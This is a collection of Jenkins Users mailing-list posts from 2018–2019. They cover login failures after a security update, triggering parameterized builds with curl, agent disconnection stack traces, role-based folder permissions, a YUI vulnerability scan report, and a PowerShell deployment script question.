restrictions:

Cannot contact maas-java-001avvuoow58r: 
hudson.remoting.RequestAbortedException: java.io.IOException: Expected 8 bytes 
application/vnd.docker.raw-stream header, got 5

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/8ff7e56c-58c1-4eaf-ac41-33cc43a933c2%40googlegroups.com.
For more options, visit https://groups.google.com/d/optout.

Re: Logins (CAS plugin) not working after upgrading to 2.160 (security)

[Daniel Beck]

We documented this issue and a workaround at 
https://wiki.jenkins.io/display/JENKINS/Plugins+affected+by+the+SECURITY-901+fix

> On 17. Jan 2019, at 16:32, matthew.web...@diamond.ac.uk wrote:
> 
> I just upgraded Jenkins from 2.159 to 2.160, and then found that I could not 
> log on to the web interface.
> 
> Clicking "login" prompted me for my credentials as expected, and then 
> returned me to the Jenkins web page, but not logged in.
> Clearing cookies and cache, and using a different browser, did not fix the 
> problem.
> Our Jenkins is using the CAS plugin for user authentication.
> 
> I _was_ able to successfully authenticate to Jenkins using the 
> jenkins-cli.jar with an API token that I have previously set up.
> 
> Has anyone else seen this? I presume that if logons were generally broken in 
> that release, someone would have reported it by now.
> 
> I immediately rolled back to 2.159, and logon then started working.
> 
> Matthew
> 
> 
> -- 
> This e-mail and any attachments may contain confidential, copyright and or 
> privileged material, and are for the use of the intended addressee only. If 
> you are not the intended addressee or an authorised recipient of the 
> addressee please notify us of receipt by returning the e-mail and do not use, 
> copy, retain, distribute or disclose the information in or attached to the 
> e-mail.
> Any opinions expressed within this e-mail are those of the individual and not 
> necessarily of Diamond Light Source Ltd. 
> Diamond Light Source Ltd. cannot guarantee that this e-mail or any 
> attachments are free from viruses and we cannot accept liability for any 
> damage which you may sustain as a result of software viruses which may be 
> transmitted in or with the message.
> Diamond Light Source Limited (company no. 4375679). Registered in England and 
> Wales with its registered office at Diamond House, Harwell Science and 
> Innovation Campus, Didcot, Oxfordshire, OX11 0DE, United Kingdom
> 
> -- 
> You received this message because you are subscribed to the Google Groups 
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an 
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit 
> https://groups.google.com/d/msgid/jenkinsci-users/47b4e75b07734e298b5de5d91a07b124%40Diamond.ac.uk.
> For more options, visit https://groups.google.com/d/optout.
> 

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/56982394-0924-43CF-88E1-8B9ECAFD0A04%40beckweb.net.
For more options, visit https://groups.google.com/d/optout.

RE: CLI command to start jenkins job with default and overridenparameters

[Daniel Butler]

Hi Vicki,
According to https://wiki.jenkins.io/display/JENKINS/Parameterized+Build, for 
buildWithParameters you should use URL query params to pass the values.

To use your example:

curl -v https://jenkins/job/JobName/buildWithParameters?targ_env=dev  --user 
userName:userToken


Regards,
Daniel

From: Vicki Kozel
Sent: 10 January 2019 03:37
To: Jenkins Users
Subject: CLI command to start jenkins job with default and overridenparameters

Hello,
I am having trouble with combining default and overriden parameters when 
invoking jenkins jobs through remote CLI command.  

It  looks like the following invocation passes command line parameters to a job 
just fine, but ignores the default parameters:
curl -v https://jenkins/job/JobName/build -F json='{"parameter": [{"name": 
"targ_env", "value": "dev"}]}' --user userName:userToken


and the invocation on buildWithParameters api does the opposite - ignores the 
passed parameters and sets all the defaults correctly:

curl -v https://jenkins/job/JobName/buildWithParameters -F json='{"parameter": 
[{"name": "targ_env", "value": "dev"}]}' --user userName:userToken

Is there an API that can combine two sets of parameters?

Thank you!!

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/27053cad-e82f-4053-b76c-ebfdf5781877%40googlegroups.com.
For more options, visit https://groups.google.com/d/optout.

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/5c37157e.1c69fb81.a9c68.17a1%40mx.google.com.
For more options, visit https://groups.google.com/d/optout.

Re: Need help debugging ChannelClosedExceptions

[Daniel Weber]

Hi Martin,

thanks for your reply. In what state is that alternative remoting 
implementation?
We keep having these issues, one reason seems to be bandwidth limitations 
between our company network and AWS.
But that's not the only one, we also run into this "on premise", without 
AWS being in the picture.

BR,
Daniel

Am Freitag, 9. November 2018 04:19:15 UTC+1 schrieb Martin d'Anjou:
>
> Hi,
>
> I cannot help directly, but last summer we had a GSoC project to implement 
> remoting 
> over Kafka <https://github.com/jenkinsci/remoting-kafka-plugin>as a fault 
> tolerant communication layer in Jenkins.
> If you keep having comms breakdown, you could head over to the Remoting 
> Gitter Chat <https://gitter.im/jenkinsci/remoting> channel and ask about 
> this plugin.
> I agree it would be better to find the root cause of the problem though.
>
> Martin
>
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/dcc61a30-03b5-4adf-963f-9ba5611eb1f4%40googlegroups.com.
For more options, visit https://groups.google.com/d/optout.

Re: Need help debugging ChannelClosedExceptions

[Daniel Weber]

Hi Viacheslav,

thanks for your reply!

Yes, I also know this Wiki page. But I saw no indication that the ping 
thread fails (checked the logs) and we're not using ssh agents.
So this also did not help. But anyhow we disabled the ping thread on one of 
our masters but still see this issue.

BR,
Daniel


Am Donnerstag, 8. November 2018 13:25:25 UTC+1 schrieb Slava Dubrovskiy:
>
> Hi Daniel,
>
> Did you read https://wiki.jenkins.io/display/JENKINS/Remoting+issue ?
> 08.11.2018 14:13, Daniel Weber пишет:
>
> Hi all,
>
> (Note: This is a copy from my post which was originally done in 
> Jenkins-dev, where it was wrong).
>
> we are trying to find the root cause for ChannelClosedExceptions we keep 
> getting in about 10% of our builds (which is far too often). 
>
> We use one-time agents deployed in AWS (instances are created and 
> destroyed for each build) in this scenario. I set the default log level to 
> FINEST on the agents and found this
>
> Nov 06, 2018 5:38:57 PM 
> org.jenkinsci.remoting.protocol.impl.BIONetworkLayer$Reader run
> FINER: [JNLP4-connect connection to frcv001/10.179.171.222:49394] 
> Unexpected I/O exception
> java.io.IOException: A connection attempt failed because the connected 
> party did not properly respond after a period of time, or established 
> connection failed because connected host has failed to respond
> at sun.nio.ch.SocketDispatcher.read0(Native Method)
> at sun.nio.ch.SocketDispatcher.read(Unknown Source)
> at sun.nio.ch.IOUtil.readIntoNativeBuffer(Unknown Source)
> at sun.nio.ch.IOUtil.read(Unknown Source)
> at sun.nio.ch.SocketChannelImpl.read(Unknown Source)
> at hudson.remoting.SocketChannelStream$1.read(SocketChannelStream.java:35)
> at sun.nio.ch.ChannelInputStream.read(Unknown Source)
> at sun.nio.ch.ChannelInputStream.read(Unknown Source)
> at sun.nio.ch.ChannelInputStream.read(Unknown Source)
> at java.nio.channels.Channels$ReadableByteChannelImpl.read(Unknown Source)
> at 
> org.jenkinsci.remoting.protocol.impl.BIONetworkLayer$Reader.run(BIONetworkLayer.java:245)
> at java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source)
> at java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source)
> at hudson.remoting.Engine$1.lambda$newThread$0(Engine.java:93)
> at java.lang.Thread.run(Unknown Source)
>
> Nov 06, 2018 5:38:57 PM org.jenkinsci.remoting.protocol.NetworkLayer 
> onRecvClosed
> FINEST: [JNLP4-connect connection to frcv001/10.179.171.222:49394] RECV 
> Closed
> Nov 06, 2018 5:38:57 PM org.jenkinsci.remoting.protocol.FilterLayer 
> onRecvClosed
> FINEST: [JNLP4-connect connection to frcv001/10.179.171.222:49394] RECV 
> Closed
> Nov 06, 2018 5:38:57 PM org.jenkinsci.remoting.protocol.ApplicationLayer 
> onRecvClosed
> FINE: [JNLP4-connect connection to frcv001/10.179.171.222:49394] RECV 
> Closed
> Nov 06, 2018 5:38:57 PM com.trilead.ssh2.log.Logger log
> FINEST: Received SSH_MSG_CHANNEL_DATA 64511 bytes payload
> Nov 06, 2018 5:38:57 PM com.trilead.ssh2.log.Logger log
> FINEST: Got SSH_MSG_CHANNEL_DATA (channel 100, 64502)
> Nov 06, 2018 5:38:57 PM hudson.remoting.jnlp.Main$CuiListener status
> INFO: Terminated
>
> and then later
>
> FINER: HandleMessage: got shutdown
> Nov 06, 2018 5:38:57 PM hudson.remoting.Request$2 run
> WARNING: Failed to send back a reply to the request 
> hudson.remoting.Request$2@503986c5
> hudson.remoting.ChannelClosedException: Channel 
> "hudson.remoting.Channel@798747f3:JNLP4-connect connection to frcv001/
> 10.179.171.222:49394": channel is already closed
> at hudson.remoting.Channel.send(Channel.java:717)
> at hudson.remoting.Request$2.run(Request.java:382)
> at 
> hudson.remoting.InterceptingExecutorService$1.call(InterceptingExecutorService.java:72)
> at java.util.concurrent.FutureTask.run(Unknown Source)
> at java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source)
> at java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source)
> at hudson.remoting.Engine$1.lambda$newThread$0(Engine.java:93)
> at java.lang.Thread.run(Unknown Source)
> Caused by: java.nio.channels.ClosedChannelException
> at 
> org.jenkinsci.remoting.protocol.NetworkLayer.onRecvClosed(NetworkLayer.java:154)
> at 
> org.jenkinsci.remoting.protocol.impl.BIONetworkLayer.access$1800(BIONetworkLayer.java:48)
> at 
> org.jenkinsci.remoting.protocol.impl.BIONetworkLayer$Reader.run(BIONetworkLayer.java:264)
> ... 4 more
>
>
> The agents successfully reconnect after this, but that does not help us 
> because at that time, the build has already 
> failed and the machine will be destroyed.
>
> I also read this: 
> https://support.cloudbees.com/hc/en-us/articles/115001416548-dedicated-JNLP-agents-formerly-slaves-get-disconnected
>
>

Need help debugging ChannelClosedExceptions

[Daniel Weber]

Hi all,

(Note: This is a copy from my post which was originally done in 
Jenkins-dev, where it was wrong).

we are trying to find the root cause for ChannelClosedExceptions we keep 
getting in about 10% of our builds (which is far too often). 

We use one-time agents deployed in AWS (instances are created and destroyed 
for each build) in this scenario. I set the default log level to FINEST on 
the agents and found this

Nov 06, 2018 5:38:57 PM 
org.jenkinsci.remoting.protocol.impl.BIONetworkLayer$Reader run
FINER: [JNLP4-connect connection to frcv001/10.179.171.222:49394] 
Unexpected I/O exception
java.io.IOException: A connection attempt failed because the connected 
party did not properly respond after a period of time, or established 
connection failed because connected host has failed to respond
at sun.nio.ch.SocketDispatcher.read0(Native Method)
at sun.nio.ch.SocketDispatcher.read(Unknown Source)
at sun.nio.ch.IOUtil.readIntoNativeBuffer(Unknown Source)
at sun.nio.ch.IOUtil.read(Unknown Source)
at sun.nio.ch.SocketChannelImpl.read(Unknown Source)
at hudson.remoting.SocketChannelStream$1.read(SocketChannelStream.java:35)
at sun.nio.ch.ChannelInputStream.read(Unknown Source)
at sun.nio.ch.ChannelInputStream.read(Unknown Source)
at sun.nio.ch.ChannelInputStream.read(Unknown Source)
at java.nio.channels.Channels$ReadableByteChannelImpl.read(Unknown Source)
at 
org.jenkinsci.remoting.protocol.impl.BIONetworkLayer$Reader.run(BIONetworkLayer.java:245)
at java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source)
at hudson.remoting.Engine$1.lambda$newThread$0(Engine.java:93)
at java.lang.Thread.run(Unknown Source)

Nov 06, 2018 5:38:57 PM org.jenkinsci.remoting.protocol.NetworkLayer 
onRecvClosed
FINEST: [JNLP4-connect connection to frcv001/10.179.171.222:49394] RECV 
Closed
Nov 06, 2018 5:38:57 PM org.jenkinsci.remoting.protocol.FilterLayer 
onRecvClosed
FINEST: [JNLP4-connect connection to frcv001/10.179.171.222:49394] RECV 
Closed
Nov 06, 2018 5:38:57 PM org.jenkinsci.remoting.protocol.ApplicationLayer 
onRecvClosed
FINE: [JNLP4-connect connection to frcv001/10.179.171.222:49394] RECV Closed
Nov 06, 2018 5:38:57 PM com.trilead.ssh2.log.Logger log
FINEST: Received SSH_MSG_CHANNEL_DATA 64511 bytes payload
Nov 06, 2018 5:38:57 PM com.trilead.ssh2.log.Logger log
FINEST: Got SSH_MSG_CHANNEL_DATA (channel 100, 64502)
Nov 06, 2018 5:38:57 PM hudson.remoting.jnlp.Main$CuiListener status
INFO: Terminated

and then later

FINER: HandleMessage: got shutdown
Nov 06, 2018 5:38:57 PM hudson.remoting.Request$2 run
WARNING: Failed to send back a reply to the request 
hudson.remoting.Request$2@503986c5
hudson.remoting.ChannelClosedException: Channel 
"hudson.remoting.Channel@798747f3:JNLP4-connect connection to frcv001/
10.179.171.222:49394": channel is already closed
at hudson.remoting.Channel.send(Channel.java:717)
at hudson.remoting.Request$2.run(Request.java:382)
at 
hudson.remoting.InterceptingExecutorService$1.call(InterceptingExecutorService.java:72)
at java.util.concurrent.FutureTask.run(Unknown Source)
at java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source)
at hudson.remoting.Engine$1.lambda$newThread$0(Engine.java:93)
at java.lang.Thread.run(Unknown Source)
Caused by: java.nio.channels.ClosedChannelException
at 
org.jenkinsci.remoting.protocol.NetworkLayer.onRecvClosed(NetworkLayer.java:154)
at 
org.jenkinsci.remoting.protocol.impl.BIONetworkLayer.access$1800(BIONetworkLayer.java:48)
at 
org.jenkinsci.remoting.protocol.impl.BIONetworkLayer$Reader.run(BIONetworkLayer.java:264)
... 4 more


The agents successfully reconnect after this, but that does not help us 
because at that time, the build has already 
failed and the machine will be destroyed.

I also read this: 
https://support.cloudbees.com/hc/en-us/articles/115001416548-dedicated-JNLP-agents-formerly-slaves-get-disconnected

   - agent.jar is downloaded from the master before startup to make sure 
   they use the correct version
   - I did not find any log messaged indicating the ping thread terminated 
   the connection
   - We are currently using Jenkins LTS 2.121.3, Remoting version: 3.21.1 
   - Both master and agents are running under Windows Server 2012.

Any help / hints would be greatly appreciated. I'd also be happy to open an 
issue if you think it makes sense :)

Best Regards,
Daniel

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/971cdf53-90b7-491a-b691-c448df7b44d1%40googlegroups.com.
For more options, visit https://groups.google.com/d/optout.

Re: cannot create user in jenkins

[Daniel Beck]

> On 6. Nov 2018, at 20:17, dl...@foghorntx.com wrote:
> 
> Fill in information, click "create user" button.  Page appears to refresh but 
> forms stays, as filled in.  Checking elsewhere, there is no user added to the 
> system.  Screenshot:
> 

This is probably a known bug (JENKINS-52869). The form validation fails, but 
the UI cannot display the error. Check your browser's developer console for the 
form validation response content, and act accordingly.


-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/594A56C9-7736-407A-BD36-01FB700D5D09%40beckweb.net.
For more options, visit https://groups.google.com/d/optout.

Monitoring slaves

[Daniel A]

What are you guys using to monitor slaves (uptime, cpu, memory.etc.) I 
notice many times slaves are powered off and I have jobs failing.
A plugin would be very useful but I have not found any yet.

Thoughts? 


-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/51ca1ea7-12d7-49a6-be6a-f7ef8de419a0%40googlegroups.com.
For more options, visit https://groups.google.com/d/optout.

Finding URL on the logs and email to a group of users

[Daniel A]

Hello,

I need to find a URL [www.google.com] on the logs after a build and email 
it to a group of users [developers].
Note: I would prefer to keep Jenkins running on Windows but if it needs to 
be running on Linux is fine too.

What would be the *simplest* way to achieve this? I am not sure 
if Email-ext and Text-finder or other plugin can help with this.

Thanks in advance,

C

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/5c34fcfd-0eba-418f-a53e-6c72bf7a282d%40googlegroups.com.
For more options, visit https://groups.google.com/d/optout.

Re: Restrict view of certain jobs under folder.

[Daniel Beck]

> On 19. Oct 2018, at 19:16, gotviser...@gmail.com wrote:
> 
> We are using https://wiki.jenkins.io/display/JENKINS/Role+Strategy+Plugin 
> this plugin.  Unfortunately, as per this plugin we can only restrict users 
> from other team to modify the jobs.  Cannot completely hide the jobs.  Any 
> suggestions?

This is possible, you just need two different roles, and regexes that match the 
folder and A1/A2 specifically without including the other. Then grant Item/Read 
based on that, and don't make it a global role permission.

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/8EF4B910-A86F-490E-941E-F46D6C68FDE4%40beckweb.net.
For more options, visit https://groups.google.com/d/optout.

Re: Why is Jenkins suddenly telling me about an old security vulnerability

[Daniel Beck]

This is supposed to only show when Jenkins detects an upgrade from 1.495 or 
older. IIRC, it uses information from the global config.xml to determine that. 
Any scripting messing with this file could be a possible culprit.

I recommend not executing this. I'm not sure whether the format of secrets we 
implemented ~2 years ago is still compatible with the re-keying.

> On 19. Oct 2018, at 18:26, matthew.web...@diamond.ac.uk wrote:
> 
> We recently upgraded Jenkins from 2.146 to 2.147 (which is the newest release 
> at the time of writing).
> 
> Since then, Jenkins has displayed a message in the WebUI:
> "Because of a security vulnerability discovered earlier, we need to change 
> the encryption key used to protect secrets in your configuration files on the 
> disk. This process scans a large portion of your $JENKINS_HOME, find 
> encrypted data, re-key them, which will take some time. See this document for 
> more implications about different ways of doing this (or not doing this.)"
> 
> The message links to a 5-year old web page 
> https://jenkins.io/security/advisory/2013-01-04/. This is strange, since at 
> the time of the original security advisory, I followed the steps as 
> instructed. I'm not just relying on memory here - I verified the 
> $JENKINS_HOME/jenkins.security.RekeySecretAdminMonitor exists, meaning that 
> the remediation action was followed back in 2013.
> 
> Questions:
> (1) Has anyone else seen this after upgrading to 2.147?
> (2) Does anyone have any ideas what could have caused this?
> 
> Thanks
> Matthew
> 
> 
> -- 
> This e-mail and any attachments may contain confidential, copyright and or 
> privileged material, and are for the use of the intended addressee only. If 
> you are not the intended addressee or an authorised recipient of the 
> addressee please notify us of receipt by returning the e-mail and do not use, 
> copy, retain, distribute or disclose the information in or attached to the 
> e-mail.
> Any opinions expressed within this e-mail are those of the individual and not 
> necessarily of Diamond Light Source Ltd. 
> Diamond Light Source Ltd. cannot guarantee that this e-mail or any 
> attachments are free from viruses and we cannot accept liability for any 
> damage which you may sustain as a result of software viruses which may be 
> transmitted in or with the message.
> Diamond Light Source Limited (company no. 4375679). Registered in England and 
> Wales with its registered office at Diamond House, Harwell Science and 
> Innovation Campus, Didcot, Oxfordshire, OX11 0DE, United Kingdom
> 
> -- 
> You received this message because you are subscribed to the Google Groups 
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an 
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit 
> https://groups.google.com/d/msgid/jenkinsci-users/b3ff1efc8d274299a4924d782e10966c%40Diamond.ac.uk.
> For more options, visit https://groups.google.com/d/optout.
> 

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/C138646D-2B5C-49C1-A06A-379EF518C42B%40beckweb.net.
For more options, visit https://groups.google.com/d/optout.

Re: Jenkins YUI2 Security Vulnerabilities

[Daniel Beck]

> On 24. Jul 2018, at 00:06, Mike Bragg  wrote:
> 
> An external team just came in and scanned our environment.  One of the things 
> they found was the YUI scripts we old and had vulnerabilities.  I downloaded 
> the latest Jenkins war file and it had the same 2.9.0 versions with the 
> vulnerability.  Below is an example:
>  
> /static/12057b98/scripts/yui/event/event-min.js
>  
> https://www.cvedetails.com/cve/CVE-2013-4940/
>  
> Cross-site scripting (XSS) vulnerability in io.swf in the IO Utility 
> component in Yahoo! YUI 3.10.2, as used in Moodle through 2.1.10, 2.2.x 
> before 2.2.11, 2.3.x before 2.3.8, 2.4.x before 2.4.5, 2.5.x before 2.5.1, 
> and other products, allows remote attackers to inject arbitrary web script or 
> HTML via a crafted string in a URL. NOTE: this vulnerability exists because 
> of a CVE-2013-4939 regression. 
> Publish Date : 2013-07-29 Last Update Date : 2013-10-03
>  
> I have not been able to find anything that says how to update these scripts.  
> Please help!!

Is there any sign of io.swf being present? Because I cannot find it. In the 
earlier https://yuilibrary.com/support/20121030-vulnerability/ the YUI team 
recommends removal of any affected files, it seems Jenkins doesn't include them 
in the first place, and this would be a false positive report.

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/73C77EDB-B967-49A5-AC10-F1BFA7ED86FD%40beckweb.net.
For more options, visit https://groups.google.com/d/optout.

Start multi-branch indexing from SCM notification

[Daniel Becroft]

Hi,

I have a multi-branch pipeline setup to initiate a branch indexing every X
minutes, which works fine. However, I am trying to start that process from
the command line via a post-commit hook.

For a normal job, I can use the /subversion//notifyCommit to tell
Jenkins of a new commit, and it will start any jobs that require it. This
doesn't seem to apply to the multi-branch jobs, though. I can only start a
job by using /jobs//build.

I could have multiple jobs that share a repository, and I would like to
avoid having to manually list each job in the post-commit hook.

The polling also had the advantage of triggering downstream jobs when an
external changed - is this possible with the branch indexing? (ie run
branch indexing, if external changes then run the branch build)?
---
Daniel Becroft

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CAJM0iSRaAFLfMDM6EoCFezBWHq26cMRFEfd5pq3hOPQfHm_yeg%40mail.gmail.com.
For more options, visit https://groups.google.com/d/optout.

Re: [CONCURRENT BUILDS] Run on master, run on slave and then sit in queue

[Daniel Butler]

If you set the number of executors on both master and slave to 1 that will
restrict the number of builds to one per node put a third into the queue.

Regards
Daniel

On Fri, 24 Aug 2018, 12:58 Nati Mirauta,  wrote:

> Hello,
>
> I would like to know if there is a way to run a job on master once and
> after another build request, instead of having the job stay in queue I
> would want the job to run on slave and then after it runs both on master
> and on slave, after the next build request it will have to sit in queue.
> For example I have JOB1, I build it and it runs on 'master', I build it
> again and JOB1 will run in parallel on 'slave', if I build it again while
> it's already running on 'master' and 'slave', the job will have to sit in
> queue.
>
> I have tried using the Throttle Concurrent Builds Plugin available for
> Jenkins but I do not know exactly how to use it in a scripted pipeline.
> Only thing I know how to do is make a job run concurrently on 'master 'or
> 'slave' (two runs - both or master or both on slave) with a single build
> using throttle(). I have to implement this functionality in a pipeline (no
> plug-in checkboxes) so it will make working with git easier. Can Jenkins
> support this functionality?, if yes, is it possible to implement it in a
> scripted pipeline? I am VERY new to Jenkins, I searched the internet but I
> can't find anything. I greatly appreciate any kind of help/tip, any
> documentation that can help me achieve this functionality.
>
> Thank-you in advance.
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/265011e8-83fa-4a93-b127-85f3ae17cda6%40googlegroups.com
> <https://groups.google.com/d/msgid/jenkinsci-users/265011e8-83fa-4a93-b127-85f3ae17cda6%40googlegroups.com?utm_medium=email_source=footer>
> .
> For more options, visit https://groups.google.com/d/optout.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CAO37hbiQ96XsWMVbxcDxxPsqgaNqL1sfieQg%3DvSvG%2BdCT93s6Q%40mail.gmail.com.
For more options, visit https://groups.google.com/d/optout.

Jenkins pipeline build use Jenkins file from current branch that's being built

[Daniel Anechitoaie]

Hi,

I'm using Jenkins Pipeline job type and I have it build all branches (**) 
when a push to BitBucket is made.
Currently the configuration is inside Jenkins but I'd like to have it 
inside a Jenkinsfile.
>From what I see I need to specify a different repo/branch from where to 
take that file. 
Can I somehow make is use the Jenkins file from current branch that's being 
built?

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/b1015057-1009-487c-a4c8-c1f91c3da966%40googlegroups.com.
For more options, visit https://groups.google.com/d/optout.

How to use Jenkins pipeline method parameters in Powershell script?

[Daniel Christian Schröter]

I ask this question already 
on 
https://stackoverflow.com/questions/51622150/how-to-use-jenkins-pipeline-method-parameters-in-powershell-script,
 
but maybe here is someone to help me.

I defined the following method in jenkins declarative pipeline, but I am 
not able to use the variables/output from "serverName", 
"archiveDestination" and "wwwrootPath". I tried already different ways but 
is does not work. The output from Write-Output is still "$serverName", 
${archiveDestination} and/or an empty variable.

How can I access the parameters from the serverdeployment-method in the 
Powershell script part?

def serverdeployment(serverName, archiveDestination, wwwrootPath) {
powershell script: '''
$servername = \'"$serverName"'
$archivedestination = \'${archiveDestination}'
$wwwrootpath = ${wwwrootPath}
Write-Output $servername
Write-Output $archivedestination
Write-Output $wwwrootpath
$pass = ConvertTo-SecureString -AsPlainText "X" -Force
$cred = New-Object System.Management.Automation.PSCredential -ArgumentList 
"X",$pass
$sessionOption = New-PSSessionOption -SkipCACheck -SkipCNCheck 
-SkipRevocationCheck
$session = New-PSSession -ComputerName $serverName -UseSSL -Credential 
$cred -SessionOption $sessionOption
Copy-Item $env:WORKSPACE\\* -Destination "$archiveDestination" -Filter 
*TEST* -Recurse -Force -Verbose -ToSession $session
Invoke-Command -Session $session -ScriptBlock {iisreset /STOP}
$filename = $env:JOB_NAME + "_TEST_" + $env:Version + "_" + 
$env:BUILD_NUMBER + "_wwwroot.7z"
Invoke-Command -Session $session -ScriptBlock { & "C:\\Program 
Files\\7-Zip\\7z.exe" x $using:archiveDestination$using:filename -o$wwwrootpath 
-aoa >$null }
Remove-Item "$wwwrootPath\\*\\_Cache\\*" -Recurse -Force
Invoke-Command -Session $session -ScriptBlock {iisreset /START}
Remove-PSSession $session
Exit-PSSession
'''
}


This method will be executed in steps part:

serverdeployment('myservername', 'C:\\data\\install\\', 
'C:\\inetpub\\wwwroot\\')


Thank you!


-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/092fcb64-1fc8-47c1-98f9-9bcf7af3035f%40googlegroups.com.
For more options, visit https://groups.google.com/d/optout.

Re: Plugin Updates for jenkins 1.6x ?

[Daniel Beck]

> On 16. May 2018, at 18:17, Torsten Reinhard  wrote:
> 
> Wouldn´t it make sense to have an own update-site, where the latest versions 
> of the 1.6x release are available?

We don't consider Jenkins 2.0 to be a major release in the semver sense. It has 
very little technical incompatibilities[1], so I'd re-examine the decisions 
that make you stay on 1.x.

1: https://jenkins.io/2.0/#compat

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CCB31659-FEC6-4A44-BE32-E37F885AA59F%40beckweb.net.
For more options, visit https://groups.google.com/d/optout.